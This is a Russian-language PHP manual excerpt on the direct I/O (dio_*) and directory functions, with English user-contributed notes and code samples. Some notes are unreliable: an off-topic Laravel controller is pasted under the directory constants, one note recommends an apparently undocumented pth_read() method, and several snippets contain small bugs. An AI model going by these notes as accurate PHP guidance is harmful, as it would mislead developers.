  • F_SETFL - устанавливает файловому дескриптору флаги, заданные в args, такие как O_APPEND, O_NONBLOCK или O_ASYNC. Для использования O_ASYNC вам необходимо воспользоваться модулем PCNTL.

args

args - это ассоциативный массив, если cmd установлен в F_SETLK или F_SETLLW, со следующими ключами:

  • start - смещение на начало блокировки

  • length - размер заблокированной зоны. 0 означает конец файла

  • whence - зависит от l_start: может быть SEEK_SET, SEEK_END и SEEK_CUR

  • type - тип блокировки: может быть F_RDLCK (чтение), F_WRLCK (запись) или F_UNLCK (блокировки нет)

Возвращаемые значения

Возвращает результат вызова C-функции.

Примеры

Пример #1 Установка и снятие блокировки

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR);

if (dio_fcntl($fd, F_SETLK, Array("type"=>F_WRLCK)) == -1) {
// дескриптор файла заблокирован
echo "Нельзя снять блокировку, она удерживается другим процессом.";
} else {
echo "Блокировка успешно установлена/снята";
}

dio_close($fd);
?>

Примечания

Замечание: Для Windows-платформ эта функция не реализована.

User Contributed Notes

Guillermo Prandi 11-Jun-2013 11:52
Actually, there's a small typo in the above docs. The parameter for where l_start is relative to is actually "whence" and not "wenth" like stated.


Открывает файл (по необходимости создаёт) на более низком уровне нежели потоковые функции ввода/вывода языка C

  • « dio_fcntl
  • dio_read »
  • PHP Manual
  • Функции прямого ввода/вывода
  • Открывает файл (по необходимости создаёт) на более низком уровне нежели потоковые функции ввода/вывода языка C

dio_open

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_open — Открывает файл (по необходимости создаёт) на более низком уровне нежели потоковые функции ввода/вывода языка C

Описание

dio_open(string $filename, int $flags, int $mode = 0): resource

dio_open() открывает файл и возвращает его дескриптор.

Список параметров

filename

Путь открываемого файла.

flags

Параметр flags задаётся побитовой комбинацией констант. Он должен включать одну из констант O_RDONLY, O_WRONLY или O_RDWR. Дополнительно он может содержать другие константы.

  • O_RDONLY - открыть файл на чтение.

  • O_WRONLY - открыть файл на запись.

  • O_RDWR - открыть файл на чтение и запись.

  • O_CREAT - создать файл, если его не существует.

  • O_EXCL - если заданы и O_CREAT и O_EXCL и файл существует, то dio_open() завершится с ошибкой.

  • O_TRUNC - если файл существует и был открыт на запись, то он будет обрезан до нулевой длины.

  • O_APPEND - операции записи будут происходить в конец файла.

  • O_NONBLOCK - установить неблокирующий режим.

  • O_NOCTTY - запрещает операционной системе считать открытый файл за терминал контроля процесса, если был открыт файл устройства TTY.

mode

Если flags содержит O_CREAT, mode установит разрешения для файла (creation permissions). mode требуется для корректной работы в случае указания O_CREAT в flags и в других случаях будет проигнорирован.

Актуальные разрешения, которые будут присвоены созданному файлу, будут зависеть от настройки umask процесса, как обычно.

Возвращаемые значения

Файловый дескриптор или false в случае возникновения ошибки.

Примеры

Пример #1 Открытие файлового дескриптора

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR | O_NOCTTY | O_NONBLOCK);

dio_close($fd);
?>

Смотрите также

  • dio_close() - Закрыть файловый дескриптор

User Contributed Notes

Anonymous 08-Apr-2012 02:12
"The prominent reason" to use direct I/O is when your application provides its own cache feature, so you won't do double caching
Marius Karthaus 03-Mar-2010 12:02
One of the prominent reasons to use direct IO, is for it's ability to do actual direct IO, bypassing the operating system cache and getting the data from the disk directly.
The flag to do that (O_DIRECT) is missing from the documentation above. Maybe for good reasons, because this type of IO only works on blockdevices, not on files, and should only be used if you are **really** sure what you are doing.
j at pureftpd dot org 23-Jan-2005 04:13
Please note that dio_open()/dio_write()/dio_close() is *faster* than fopen()/fwrite()/fclose() for files.

fwrite() has to manage a 8k buffer, while dio_write() just issue a single write(). The end result is less system calls and less memory access.

Also, giving the full size to write() as with dio_write() let filesystems properly use preallocation in order to avoid fragmentation.
alla at cyber dot com dot au 22-Mar-2003 07:16
To specify a combination of flags you OR them together.
This was the only way I could get it to append:

$fd = dio_open($file, O_WRONLY | O_APPEND);


Прочитай байты из файлового дескриптора

  • « dio_open
  • dio_seek »
  • PHP Manual
  • Функции прямого ввода/вывода
  • Прочитай байты из файлового дескриптора

dio_read

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_read — Прочитай байты из файлового дескриптора

Описание

dio_read(resource $fd, int $len = 1024): string

Функция dio_read() читает и возвращает len байт из дескриптора fd.

Список параметров

fd

Файловый дескриптор, полученный из dio_open().

len

Количество байт для чтения. Если не задано, то dio_read() прочитает блок в 1 килобайт.

Возвращаемые значения

Байты будут читаться из fd.

Смотрите также

  • dio_write() - Записывает байты в файл, опционально обрезая до указанной длины

User Contributed Notes

alban 29-Jun-2009 05:58
I am using dio functions on windows to read RS232 port.
I can read/write but it seems that the write function cannot be binary.

In particular:
dio_write($com1,chr(10),1); will result in writing 2 bytes 0D 0A be cause \n is translated to \r\n. I have not found any way to overcome this limitation so far
matt at vhub dot com 18-May-2006 07:48
Note that dio_read on Windows (other platforms unknown) will not timeout if there is no data to read. There is no way to specify a timeout or do a non-blocking read on Windows.


Переместить указатель в файловом дескрипторе

  • « dio_read
  • dio_stat »
  • PHP Manual
  • Функции прямого ввода/вывода
  • Переместить указатель в файловом дескрипторе

dio_seek

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_seek — Переместить указатель в файловом дескрипторе

Описание

dio_seek(resource $fd, int $pos, int $whence = SEEK_SET): int

Функция dio_seek() используется для изменения указателя внутри файла.

Список параметров

fd

Файловый дескриптор, полученный из dio_open().

pos

Новая позиция.

whence

Указывает, как надо интерпретировать pos:

  • SEEK_SET (по умолчанию) - указывает, что pos отсчитывается от начала файла.

  • SEEK_CUR - указывает, что pos отсчитывается от текущей позиции. Может быть отрицательным.

  • SEEK_END - указывает, что pos отсчитывается от конца файла. Отрицательное число определяет позицию внутри текущего файла; положительное число определяет позицию после текущего конца. Если вы укажете позицию за пределами текущего конца файла и начнёте запись, то недостающий кусок файла будет заполнен нулями.

Возвращаемые значения

Примеры

Пример #1 Позиционирование внутри файла

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR);

dio_seek($fd, 10, SEEK_SET);
// Текущая позиция - 10 байт от начала

dio_seek($fd, -2, SEEK_CUR);
// Текущая позиция - 8 байт от начала

dio_seek($fd, -5, SEEK_END);
// Текущая позиция - 5 байт от конца

dio_seek($fd, 10, SEEK_END);
// Текущая позиция - 10 байт дальше конца файла
// 10 байт от конца файла до текущей позиции заполнены нулями

dio_close($fd);
?>

User Contributed Notes

There are no user contributed notes for this page.


Получить информацию о файловом дескрипторе

  • « dio_seek
  • dio_tcsetattr »
  • PHP Manual
  • Функции прямого ввода/вывода
  • Получить информацию о файловом дескрипторе

dio_stat

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_stat — Получить информацию о файловом дескрипторе

Описание

dio_stat(resource $fd): array

dio_stat() возвращает информацию о заданном дескрипторе.

Список параметров

fd

Файловый дескриптор, полученный из dio_open().

Возвращаемые значения

Возвращает ассоциативный массив с такими ключами:

  • "device" - устройство

  • "inode" - inode

  • "mode" - права доступа

  • "nlink" - количество жёстких ссылок

  • "uid" - идентификатор пользователя

  • "gid" - идентификатор группы

  • "device_type" - тип устройства (если оно inode)

  • "size" - размер в байтах

  • "blocksize" - размер блока

  • "blocks" - число выделенных блоков

  • "atime" - время последнего доступа

  • "mtime" - время последней модификации

  • "ctime" - время последнего изменения

В случае возникновения ошибки dio_stat() вернёт null.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает атрибуты терминала и скорость передачи данных для последовательного порта

  • « dio_stat
  • dio_truncate »
  • PHP Manual
  • Функции прямого ввода/вывода
  • Устанавливает атрибуты терминала и скорость передачи данных для последовательного порта

dio_tcsetattr

(PHP 4 >= 4.3.0, PHP 5 < 5.1.0)

dio_tcsetattr — Устанавливает атрибуты терминала и скорость передачи данных для последовательного порта

Описание

dio_tcsetattr(resource $fd, array $options): bool

dio_tcsetattr() устанавливает атрибуты терминала и скорость передачи данных последовательного порта для дескриптора fd.

Список параметров

fd

Файловый дескриптор, полученный из dio_open().

options

Доступные опции:

  • 'baud' - скорость передачи для последовательного порта: 38400, 19200, 9600, 4800, 2400, 1800, 1200, 600, 300, 200, 150, 134, 110, 75 или 50. По умолчанию 9600.

  • 'bits' - биты данных: 8,7,6 или 5. По умолчанию 8.

  • 'stop' - стоп биты: 1 или 2. По умолчанию 1.

  • 'parity' - парность: 0, 1 или 2. По умолчанию 0.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Установка скорости передачи для последовательного порта

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR | O_NOCTTY | O_NONBLOCK);

dio_fcntl($fd, F_SETFL, O_SYNC);

dio_tcsetattr($fd, array(
'baud' => 9600,
'bits' => 8,
'stop' => 1,
'parity' => 0
));

while (1) {

$data = dio_read($fd, 256);

if ($data) {
echo $data;
}
}

?>

Примечания

Замечание: Для Windows-платформ эта функция не реализована.

User Contributed Notes

daniel widyanto (kunilkuda at gmail dot com) 30-Jun-2005 06:34
I'm using PHP to interface my AVR microcontroller in /dev/ttyS0. I bet someone else does the same.

Here's some hint :
- dio_tcsetattr -> is set to enable :
            - RTS / CTS hardware control
            - ICANON mode
              (means that dio_read will wait until 0x0A/LF or other control character is entered in /dev/ttyS0 before it returns reading result, when you use dio_write it will also send 0x0A/LF automatically in the end of the message to your device).

For those who dont need RTS/CTS and/or ICANON, you can use linux command : stty.

Here's mine :

<?php
        exec('stty -F /dev/ttyS0 4800 raw');

        $fd=dio_open('/dev/ttyS0',O_RDWR | O_NOCTTY | O_NDELAY);
        dio_fcntl($fd,F_SETFL,0);

        dio_write($fd,"\x41",1);  // write 0x41 or 'A' to /dev/ttyS0

        // Replace result_length with your expected command result length
        for ($i=0;$i < result_length;$i++) {
               $result .=dio_read($fd, 1);
        }
        echo $result;
?>

Refer to :
- Serial Programming Guide for POSIX Operating Systems, http://www.easysw.com/~mike/serial/
- stty man pages
fherrero at noticiasdenavarra dot com 01-Apr-2005 04:30
For Windows the Example 1 looks same this one:

<?php

exec('mode com1: baud=9600 data=8 stop=1 parity=n xon=on');
// execute 'help mode' in command line of Windows for help

$fd = dio_open('com1:', O_RDWR);

while (1) {

  $data = dio_read($fd, 256);

  if ($data) {
     echo $data;
  }
}

?>
healer at colorado dot edu 19-Jul-2003 03:37
It was frustrating at first because I was trying to get my Linux box to talk to an external serial device (a PIC18F452 programmable chip) and the example provided here refers to fcntl() and open() parameters that aren't in the PHP documentation.

I finally found out what does what through the man pages:

man open
man fcntl

still haven't gotten it to work, or how to reset the ttySx, but thought it may help someone...


Обрезает файл до заданного количества байт

  • « dio_tcsetattr
  • dio_write »
  • PHP Manual
  • Функции прямого ввода/вывода
  • Обрезает файл до заданного количества байт

dio_truncate

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_truncate — Обрезает файл до заданного количества байт

Описание

dio_truncate(resource $fd, int $offset): bool

dio_truncate() обрезает файл до offset байт.

Если файл был больше указанного значения, то лишние данные потеряются. Если файл был короче, то он либо останется неизменным, либо увеличится - данное поведение не определено. Если файл увеличится, то недостающие байты будут заполнены нулями.

Список параметров

fd

Файловый дескриптор, полученный из dio_open().

offset

Смещение в байтах.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примечания

Замечание: Для Windows-платформ эта функция не реализована.

User Contributed Notes

There are no user contributed notes for this page.


Записывает байты в файл, опционально обрезая до указанной длины

  • « dio_truncate
  • Каталоги »
  • PHP Manual
  • Функции прямого ввода/вывода
  • Записывает байты в файл, опционально обрезая до указанной длины

dio_write

(PHP 4 >= 4.2.0, PHP 5 < 5.1.0)

dio_write — Записывает байты в файл, опционально обрезая до указанной длины

Описание

dio_write(resource $fd, string $data, int $len = 0): int

dio_write() записывает максимум len байт из data в файл fd.

Список параметров

fd

Файловый дескриптор, полученный из dio_open().

data

Записываемые данные.

len

Длина записываемых данных в байтах. Если не задано, то будут записаны все переданные данные.

Возвращаемые значения

Возвращает количество байт, записанных в fd.

Смотрите также

  • dio_read() - Прочитай байты из файлового дескриптора

User Contributed Notes

There are no user contributed notes for this page.


Каталоги

  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Directory — Класс Directory
    • Directory::close — Закрывает дескриптор каталога
    • Directory::read — Получает элемент из дескриптора каталога
    • Directory::rewind — Перемещает дескриптор каталога в начало каталога
  • Функции для работы с каталогами
    • chdir — Изменяет каталог
    • chroot — Изменяет корневой каталог
    • closedir — Закрывает дескриптор каталога
    • dir — Возвращает экземпляр класса Directory
    • getcwd — Получает имя текущего рабочего каталога
    • opendir — Открывает дескриптор каталога
    • readdir — Получает элемент каталога по его дескриптору
    • rewinddir — Сбросить дескриптор каталога
    • scandir — Получает список файлов и каталогов, расположенных по указанному пути

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

DIRECTORY_SEPARATOR (string)
PATH_SEPARATOR (string)
Точка с запятой в Windows, двоеточие в других системах.
SCANDIR_SORT_ASCENDING (int)
SCANDIR_SORT_DESCENDING (int)
SCANDIR_SORT_NONE (int)

User Contributed Notes

-> Anonymous user 07-May-2019 06:21
<?php
class RegisterController extends Controller{
    /*
    |--------------------------------------------------------------------------
    | Register Controller
    |--------------------------------------------------------------------------
    |
    | This controller handles the registration of new users as well as their
    | validation and creation. By default this controller uses a trait to
    | provide this functionality without requiring any additional code.
    |
    */

    use RegistersUsers;

    /**
     * Where to redirect users after registration.
     *
     * @var string
     */
    protected $redirectTo = '/home';

    /**
     * Create a new controller instance.
     *
     * @return void
     */
    public function __construct()
    {
        $this->middleware('guest');
    }

    /**
     * Get a validator for an incoming registration request.
     *
     * @param  array  $data
     * @return \Illuminate\Contracts\Validation\Validator
     */
    protected function validator(array $data)
    {
        return Validator::make($data, [
            'name' => 'required|string|max:255',
            'email' => 'required|string|email|max:255|unique:users',
            'password' => 'required|string|min:6|confirmed',
        ]);
    }

    /**
     * Create a new user instance after a valid registration.
     *
     * @param  array  $data
     * @return \App\User
     */
    protected function create(array $data)
    {
        return User::create([
            'name' => $data['name'],
            'email' => $data['email'],
            'password' => bcrypt($data['password']),
        ]);
    }
}
?>

Result:

Success
Anonymous 08-Mar-2014 03:04
In PHP 5.6 you can make a variadic function.

<?php
/**
 * Builds a file path with the appropriate directory separator.
 * @param string $segments,... unlimited number of path segments
 * @return string Path
 */
function file_build_path(...$segments) {
    return join(DIRECTORY_SEPARATOR, $segments);
}

file_build_path("home", "alice", "Documents", "example.txt");
?>

In earlier PHP versions you can use func_get_args.

<?php
function file_build_path() {
    return join(DIRECTORY_SEPARATOR, func_get_args($segments));
}

file_build_path("home", "alice", "Documents", "example.txt");
?>
Anonymous 29-Sep-2013 04:09
For my part I'll continue to use this constant because it seems more future safe and flexible, even if Windows installations currently convert the paths magically. Not that syntax aesthetics matter but I think it can be made to look attractive:

<?php
$path = join(DIRECTORY_SEPARATOR, array('root', 'lib', 'file.php');
?>


Класс Directory

(PHP 4, PHP 5, PHP 7, PHP 8)

Введение

Экземпляры класса Directory создаются при помощи вызова функции dir(), а не при помощи оператора new.

Обзор классов

class Directory {
/* Свойства */
public readonly string $path;
public readonly resource $handle;
/* Методы */
public close(): void
public read(): string|false
public rewind(): void
}

Свойства

path

Каталог, который был открыт.

handle

Может быть использовано с другими функциями каталогов, такими, как readdir(), rewinddir() и closedir().

Список изменений

Версия | Описание
8.1.0 | Свойства path и handle теперь доступны только для чтения.

Содержание

  • Directory::close — Закрывает дескриптор каталога
  • Directory::read — Получает элемент из дескриптора каталога
  • Directory::rewind — Перемещает дескриптор каталога в начало каталога

User Contributed Notes

serxis at gmail dot com 06-Jan-2015 10:10
If you have an error Directory::read() method not foundlike this one :
"PHP Fatal error:  Call to undefined method Directory::read() in ..."
 try pth_read() instead of read() - undocumented "feature"


Закрывает дескриптор каталога

  • « Directory
  • Directory::read »
  • PHP Manual
  • Directory
  • Закрывает дескриптор каталога

Directory::close

(PHP 4, PHP 5, PHP 7, PHP 8)

Directory::close — Закрывает дескриптор каталога

Описание

public Directory::close(): void

Список изменений

Версия | Описание
8.0.0 | Параметры не принимаются. Раньше в качестве аргумента можно было передать дескриптор каталога.

User Contributed Notes

There are no user contributed notes for this page.


Получает элемент из дескриптора каталога

  • « Directory::close
  • Directory::rewind »
  • PHP Manual
  • Directory
  • Получает элемент из дескриптора каталога

Directory::read

(PHP 4, PHP 5, PHP 7, PHP 8)

Directory::read — Получает элемент из дескриптора каталога

Описание

public Directory::read(): string|false

Список изменений

Версия | Описание
8.0.0 | Параметры не принимаются. Раньше в качестве аргумента можно было передать дескриптор каталога.

User Contributed Notes

cjcxxh at 163 dot com 02-Mar-2023 11:24
use
while ($row=$dir->read()){
// your code
}
to get a list of all files and directories. You can definitely use the "for" and other loops.


Перемещает дескриптор каталога в начало каталога

  • « Directory::read
  • Функции для работы с каталогами »
  • PHP Manual
  • Directory
  • Перемещает дескриптор каталога в начало каталога

Directory::rewind

(PHP 4, PHP 5, PHP 7, PHP 8)

Directory::rewind — Перемещает дескриптор каталога в начало каталога

Описание

public Directory::rewind(): void

Список изменений

Версия | Описание
8.0.0 | Параметры не принимаются. Раньше в качестве аргумента можно было передать дескриптор каталога.

User Contributed Notes

cjcxxh at 163 dot com 02-Mar-2023 11:29
use this method and then if you try to use read (), you will start from the 1st item in the directory object


Функции для работы с каталогами

Смотрите также

За описанием сопутствующих функций, таких как dirname(), is_dir(), mkdir() и rmdir(), обратитесь к главе Файловая система.

Содержание

  • chdir — Изменяет каталог
  • chroot — Изменяет корневой каталог
  • closedir — Закрывает дескриптор каталога
  • dir — Возвращает экземпляр класса Directory
  • getcwd — Получает имя текущего рабочего каталога
  • opendir — Открывает дескриптор каталога
  • readdir — Получает элемент каталога по его дескриптору
  • rewinddir — Сбросить дескриптор каталога
  • scandir — Получает список файлов и каталогов, расположенных по указанному пути

User Contributed Notes

Jean-Paul Wattiaux 31-Aug-2007 08:08
Mine works as long as the samba volume is actually mounted. Having it listed in the "My Computer" window doesn't warrant that.
adrian 20-Aug-2007 02:33
Samba mounts under a Windows environment are not accessible using the mounted drive letter. For instance, if you have drive X: in Windows mounted to //example.local/shared_dir (where example.local is a *nix box running Samba), the following constructs

$dir = "X:\\data\\";
$handle = opendir( $dir );
or
$d = dir( $dir );

will return a warning message "failed to open dir: No error"

On the other hand, using the underlying mapping info works just fine. For example:

$dir = "//example.local/shared_dir/data";
$handle = opendir( $dir );
or
$d = dir( $dir );

Both cases do what they're expected to.
phdwight at yahoo dot com 27-Mar-2007 07:45
I have posted this same observation in scandir, and found out that it is not limited to scandir alone but to ALL directory functions.

Directory functions DOES NOT currently supports Japanese characters.
dkflbk at nm dot ru 14-Sep-2006 04:29
I wrote a simple backup script which puts all files in his folder (and all of the sub-folders) in one TAR archive...
(It's classic TAR format not USTAR, so filename and path to it can't be longer then 99 chars)
<?php
/***********************************************************
 *   Title:  Classic-TAR based backup script v0.0.1-dev
  **********************************************************/

Class Tar_by_Vladson {
    var $tar_file;
    var $fp;
    function Tar_by_Vladson($tar_file='backup.tar') {
        $this->tar_file = $tar_file;
        $this->fp = fopen($this->tar_file, "wb");
        $tree = $this->build_tree();
        $this->process_tree($tree);
        fputs($this->fp, pack("a512", ""));
        fclose($this->fp);
    }
    function build_tree($dir='.'){
        $handle = opendir($dir);
        while(false !== ($readdir = readdir($handle))){
            if($readdir != '.' && $readdir != '..'){
                $path = $dir.'/'.$readdir;
                if (is_file($path)) {
                    $output[] = substr($path, 2, strlen($path));
                } elseif (is_dir($path)) {
                    $output[] = substr($path, 2, strlen($path)).'/';
                    $output = array_merge($output, $this->build_tree($path));
                }
            }
        }
        closedir($handle);
        return $output;
    }
    function process_tree($tree) {
        foreach( $tree as $pathfile ) {
            if (substr($pathfile, -1, 1) == '/') {
                fputs($this->fp, $this->build_header($pathfile));
            } elseif ($pathfile != $this->tar_file) {
                $filesize = filesize($pathfile);
                $block_len = 512*ceil($filesize/512)-$filesize;
                fputs($this->fp, $this->build_header($pathfile));
                fputs($this->fp, file_get_contents($pathfile));
                fputs($this->fp, pack("a".$block_len, ""));
            }
        }
        return true;
    }
    function build_header($pathfile) {
        if ( strlen($pathfile) > 99 ) die('Error');
        $info = stat($pathfile);
        if ( is_dir($pathfile) ) $info[7] = 0;
        $header = pack("a100a8a8a8a12A12a8a1a100a255",
            $pathfile,
            sprintf("%6s ", decoct($info[2])),
            sprintf("%6s ", decoct($info[4])),
            sprintf("%6s ", decoct($info[5])),
            sprintf("%11s ",decoct($info[7])),
            sprintf("%11s", decoct($info[9])),
            sprintf("%8s", " "),
            (is_dir($pathfile) ? "5" : "0"),
            "",
            ""
            );
        clearstatcache();
        $checksum = 0;
        for ($i=0; $i<512; $i++) {
            $checksum += ord(substr($header,$i,1));
        }
        $checksum_data = pack(
            "a8", sprintf("%6s ", decoct($checksum))
            );
        for ($i=0, $j=148; $i<7; $i++, $j++)
            $header[$j] = $checksum_data[$i];
        return $header;
    }
}

header('Content-type: text/plain');
$start_time = array_sum(explode(chr(32), microtime()));
$tar = & new Tar_by_Vladson();
$finish_time = array_sum(explode(chr(32), microtime()));
printf("The time taken: %f seconds", ($finish_time - $start_time));
?>
engin bzzzt biz 01-Feb-2006 12:07
To join directory and file names in a cross-platform manner you can use the following function.

function join_path()
{
        $num_args = func_num_args();
        $args = func_get_args();
        $path = $args[0];

        if( $num_args > 1 )
        {
            for ($i = 1; $i < $num_args; $i++)
            {
                $path .= DIRECTORY_SEPARATOR.$args[$i];
            }
        }

        return $path;
}

It should do the following:
$src = join_path( '/foo', 'bar', 'john.jpg' );
echo $src; // On *nix -> /foo/bar/john.jpg

$src = join_path( 'C:\www', 'domain.com', 'foo.jpg' );
echo $src; // On win32 -> C:\\www\\domain.com\\foo.jpg
msh at onliners dot dk 30-Jan-2006 03:49
I would like to present these two simple functions for generating a complete directory listing - as I feel the other examples are to restrictive in terms of usage.

function dirTree($dir) {
    $d = dir($dir);
    while (false !== ($entry = $d->read())) {
        if($entry != '.' && $entry != '..' && is_dir($dir.$entry))
            $arDir[$entry] = dirTree($dir.$entry.'/');
    }
    $d->close();
    return $arDir;
}

function printTree($array, $level=0) {
    foreach($array as $key => $value) {
        echo "<div class='dir' style='width: ".($level*20)."px;'>&nbsp;</div>".$key."<br/>\n";
        if(is_array($value))
            printTree($value, $level+1);
    }
}

Usage is as simple as this:
$dir = "<any directory you like>";
$arDirTree = dirTree($dir);
printTree($arDirTree);

It is easy to add files to the tree also - so enjoy.
Nicolas Merlet - admin(at)merletn.org 22-Jan-2006 07:34
Here is a very similar function to *scandir*, if you are still using PHP4...

This recursive function will return an indexed array containing all directories or files or both (depending on parameters). You can specify the depth you want, as explained below.

<?php

// $path : path to browse
// $maxdepth : how deep to browse (-1=unlimited)
// $mode : "FULL"|"DIRS"|"FILES"
// $d : must not be defined

function searchdir ( $path , $maxdepth = -1 , $mode = "FULL" , $d = 0 )
{
   if ( substr ( $path , strlen ( $path ) - 1 ) != '/' ) { $path .= '/' ; }
   $dirlist = array () ;
   if ( $mode != "FILES" ) { $dirlist[] = $path ; }
   if ( $handle = opendir ( $path ) )
   {
       while ( false !== ( $file = readdir ( $handle ) ) )
       {
           if ( $file != '.' && $file != '..' )
           {
               $file = $path . $file ;
               if ( ! is_dir ( $file ) ) { if ( $mode != "DIRS" ) { $dirlist[] = $file ; } }
               elseif ( $d >=0 && ($d < $maxdepth || $maxdepth < 0) )
               {
                   $result = searchdir ( $file . '/' , $maxdepth , $mode , $d + 1 ) ;
                   $dirlist = array_merge ( $dirlist , $result ) ;
               }
       }
       }
       closedir ( $handle ) ;
   }
   if ( $d == 0 ) { natcasesort ( $dirlist ) ; }
   return ( $dirlist ) ;
}

?>


Изменяет каталог

  • « Функции для работы с каталогами
  • chroot »
  • PHP Manual
  • Функции для работы с каталогами
  • Изменяет каталог

chdir

(PHP 4, PHP 5, PHP 7, PHP 8)

chdir — Изменяет каталог

Описание

chdir(string $directory): bool

Изменяет текущий каталог PHP на указанный в качестве параметра directory.

Список параметров

directory

Новый текущий каталог

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

В случае неудачного выполнения выдаёт ошибку уровня E_WARNING.

Примеры

Пример #1 Пример использования chdir()

<?php

// текущий каталог
echo getcwd() . "\n";

chdir('public_html');

// текущий каталог
echo getcwd() . "\n";

?>

Результатом выполнения данного примера будет что-то подобное:

/home/vincent
/home/vincent/public_html

Примечания

Предостережение

Если PHP-интерпретатор собран с поддержкой ZTS (Zend Thread Safety), любые изменения в текущем каталоге, сделанные с помощью chdir(), не будут обнаружены операционной системой. Все встроенные функции PHP будут по-прежнему учитывать изменения в текущем каталоге; это не относится к вызываемым функциям внешних библиотек, подключённых через FFI. Используйте php -i или встроенную константу PHP_ZTS, чтобы узнать, собран ли PHP с ZTS.

Смотрите также

  • getcwd() - Получает имя текущего рабочего каталога

User Contributed Notes

nesk at xakep dot ru 24-Oct-2020 12:43
When working with FFI under a PHP ZTS environment, there is no standard way to change the directory with libraries (dll/so/dylib/etc), so to get around this problem, you should use something like this polyfill:

<?php

$directory = 'path/to/libraries';

switch (\PHP_OS_FAMILY) {
    case 'Windows':
        \FFI::cdef('extern unsigned char SetDllDirectoryA(const char* lpPathName);', 'kernel32.dll')
            ->SetDllDirectoryA($directory)
        ;
        break;

    case 'Linux':
    case 'BSD':
        \FFI::cdef('int setenv(const char *name, const char *value, int overwrite);')
            ->setenv('LD_LIBRARY_PATH', $directory, 1)
        ;
        break;

    case 'Darwin':
        \FFI::cdef('int setenv(const char *name, const char *value, int overwrite);')
            ->setenv('DYLD_LIBRARY_PATH', $directory, 1)
        ;
        break;
}

?>
php dot duke at qik dot nl 31-Jan-2009 02:16
When changing dir's under windows environments:

<?php
$path="c:\temp"';
chdir($path);
/* getcwd() gives you back "c:\temp" */

$path="c:\temp\"';
chdir($path);
/* getcwd() gives you back "c:\temp\" */
?>

to work around this inconsistency
doing a chdir('.') after the chdir always gives back "c:\temp"
herwin at snt dot utwente dot nl 17-Aug-2006 11:58
When using PHP safe mode and trying to change to a dir that is not accessible due to the safe mode restrictions, the function simply fails without generating any kind of error message.

(Tested in PHP 4.3.10-16, Debian Sarge default)


Изменяет корневой каталог

  • « chdir
  • closedir »
  • PHP Manual
  • Функции для работы с каталогами
  • Изменяет корневой каталог

chroot

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

chroot — Изменяет корневой каталог

Описание

chroot(string $directory): bool

Изменяет корневой каталог текущего процесса на переданный в качестве параметра directory и меняет текущий каталог на "/".

Данная функция доступна только на системах GNU и BSD, а также только при использовании CLI, CGI или Embed SAPI. Кроме того, данная функция требует прав суперпользователя.

Вызов этой функции не изменяет значения магических констант __DIR__ и __FILE__.

Список параметров

directory

Путь для смены корневой директории.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования chroot()

<?php
chroot("/path/to/your/chroot/");
echo getcwd();
?>

Результат выполнения данного примера:

/

Примечания

Замечание: Для Windows-платформ эта функция не реализована.

Замечание: Эта функция недоступна в интерпретаторах PHP, собранных с поддержкой ZTS (Zend Thread Safety). Используйте php -i или встроенную константу PHP_ZTS, чтобы узнать, собран ли PHP с ZTS.

User Contributed Notes

drowningloli at gmail dot com 23-Dec-2014 12:03
The chroot() function is also available on SVR4 platforms (not just GNU and BSD.)


Закрывает дескриптор каталога

  • « chroot
  • dir »
  • PHP Manual
  • Функции для работы с каталогами
  • Закрывает дескриптор каталога

closedir

(PHP 4, PHP 5, PHP 7, PHP 8)

closedir — Закрывает дескриптор каталога

Описание

closedir(?resource $dir_handle = null): void

Закрывает поток, связанный с каталогом и переданный в качестве параметра dir_handle. Перед использованием данной функции, поток должен быть открыт с помощью функции opendir().

Список параметров

dir_handle

Дескриптор каталога (resource), ранее открытый с помощью opendir(). Если дескриптор каталога не указан, используется последний дескриптор, открытый функцией opendir().

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования closedir()

<?php
$dir = "/etc/php5/";

// Открываем известную директорию, читаем её в переменную и закрываем
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
$directory = readdir($dh);
closedir($dh);
}
}
?>

User Contributed Notes

foo at bar dot com 24-Nov-2000 10:35
About deleting a directory after doing a readdir/closedir on it... I'm not sure if this is the solution, but you could try to chdir("/"); before the rmdir to make absolutely sure you aren't standing in the directory (i.e trying to pull out the rug from under yourself).


Возвращает экземпляр класса Directory

  • « closedir
  • getcwd »
  • PHP Manual
  • Функции для работы с каталогами
  • Возвращает экземпляр класса Directory

dir

(PHP 4, PHP 5, PHP 7, PHP 8)

dir — Возвращает экземпляр класса Directory

Описание

dir(string $directory, ?resource $context = null): Directory|false

Псевдо-объектно-ориентированный механизм для чтения каталога. Открывается переданный в параметре directory каталог.

Список параметров

directory

Каталог для открытия

context

Ресурс (resource) с контекстом потока.

Возвращаемые значения

Возвращает экземпляр класса Directory или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | context теперь допускает значение null.

Примеры

Пример #1 Пример использования dir()

Обратите внимание на способ, которым осуществляется проверка значения, возвращаемого Directory::read() в примере, приведённом ниже. В этом примере явно проводится проверка значения на идентичность (выражения идентичны, когда они равны и являются одного типа - за более подробной информацией обратитесь к главе Операторы сравнения) значению false, поскольку в ином случае, любой элемент каталога, чьё имя может быть выражено как false, остановит цикл.

<?php
$d = dir("/etc/php5");
echo "Дескриптор: " . $d->handle . "\n";
echo "Путь: " . $d->path . "\n";
while (false !== ($entry = $d->read())) {
echo $entry."\n";
}
$d->close();
?>

Результатом выполнения данного примера будет что-то подобное:

Дескриптор: Resource id #2
Путь: /etc/php5
.
..
apache
cgi
cli

